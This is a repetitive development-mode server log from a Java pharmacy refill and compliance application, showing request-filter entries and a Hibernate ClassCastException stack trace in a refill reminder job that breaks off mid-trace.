SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:07 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:07 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:07 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 07:39:07 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 07:39:07 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 07:39:07 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:07 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:07 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/style.php 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 07:39:12 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:12 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:20 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:20 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:20 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 07:39:20 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 07:39:20 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 07:39:20 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:20 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:20 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/chosen.php 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 07:39:25 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:29 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:29 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:29 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 07:39:29 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 07:39:29 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 07:39:29 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:29 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:29 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/simple.php 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 07:39:32 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:39:32 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 07:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 07:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 07:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at 